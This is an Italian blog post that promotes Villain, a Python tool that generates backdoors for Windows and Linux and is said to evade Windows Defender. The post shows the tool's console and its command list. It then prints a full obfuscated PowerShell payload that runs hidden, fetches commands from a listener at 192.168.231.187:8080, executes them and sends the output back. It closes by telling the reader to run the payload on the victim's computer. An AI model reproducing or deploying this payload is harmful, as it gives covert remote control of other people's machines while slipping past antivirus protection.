Ho trovato molto interessante un nuovo progetto dell'utente @t3l3machus pubblicato qualche settimana fa sul suo Github. Avevo giá fatto un post in precedenza che trattava di una Reverse Shell non detectabile da Windows Defender e altri antivirus, ma oggi parliamo di Backdoor !
Villain é un tool scritto in Python, che permette di generare Backdoor per Windows & Linux con la funzione di condividere e creare altre sessioni, lavorando quindi in gruppo. Come il tool Hoaxshell, ha la possibilitá di generare payload (Powershell script) non rilevabili (attualmente) da Windows Defender, tramite l'offuscazione dello script in base64 o l'alternanza di caratteri . La comunicazione é basata sul traffico http ed é in parte crittografata.
- Utilizzo:
┌──(z0dy㉿unknown)-[~/Villain]
└─$ python3 Villain.py
┬ ┬ ┬ ┬ ┬ ┌─┐ ┬ ┌┐┌
└┐┌┘ │ │ │ ├─┤ │ │││
└┘ ┴ ┴─┘┴─┘┴ ┴ ┴ ┘└┘
by t3l3machus
[Info] Core server listening on 0.0.0.0:65001
[Info] Hoaxshell engine listening on 0.0.0.0:8080
Villain >
- "help" per visualizzare tutti i comandi disponibili:
Villain > help
Command Description
------- -----------
help [+] Print this message.
connect [+] Connect with sibling server.
generate [+] Generates backdoor payload.
siblings Print sibling servers data table.
sessions Print established backdoor sessions data table.
exec [+] Execute command/file against session.
shell [+] Enable interactive hoaxshell for backdoor session.
alias [+] Set an alias for a shell session.
reset [+] Reset alias back to session ID.
kill [+] Terminate an established backdoor session.
id Print server's unique ID (Self).
clear Clear screen.
exit Kill all sessions and quit.
Commands with [+] may require additional arguments.
For details use: help <COMMAND>
Villain > generate os=windows lhost=192.168.231.187 obfuscate
Generating backdoor payload...
STA'Rt-p'ROcEss $PSHOME\powershell.exe -arGUMeNTLiSt {$d8=$('91dc229b' -REPlacE '[9\dd]{3}[(c|\?)229]{4}[(b|\?)]{1}','192.168.231.187:8080');$60=$('bd0132' -REplaCE '[\w(d|\?)]{2}[(0|\?)1]{2}[32]{2}','ef830995-45432e3d-2b0cbe3a');$5d='http:'+'/'+'/';$4=I'RM' -USEBasIcpARsING -uRI $5d$d8/ef830995/$env:ComPutERNAMe/$env:UsernAme -hEadERS @{"Authorization"=$60};for (;;){$85f669=(I'RM' -USEBasIcpARsING -uRI $5d$d8/45432e3d -hEadERS @{"Authorization"=$60});if ($85f669 -ne ('Non'+'e')) {$f=i'nvOKE-exPrEs'siOn $85f669 -eRRoRACTiOn s'Top' -eRrorVAriable 0;$f=O'UT-striNG' -inpuToBject $f;$9116f=I'RM' -uRI $5d$d8/2b0cbe3a -metHoD POST -hEadERS @{"Authorization"=$60} -bOdy ([SySTEM.TExT.ENCoDInG]::uTF8.getBYTEs($0+$f) -JoIn ' ')} S'lEEP' 0.8}} -wINdowsTYlE hid'DeN'
Copied to clipboard!
Una volta fatto ció non ci resta che eseguire il payload sul computer vittima e aspettare la conferma che la connessione é stata stabilita.
Se volete approfondire: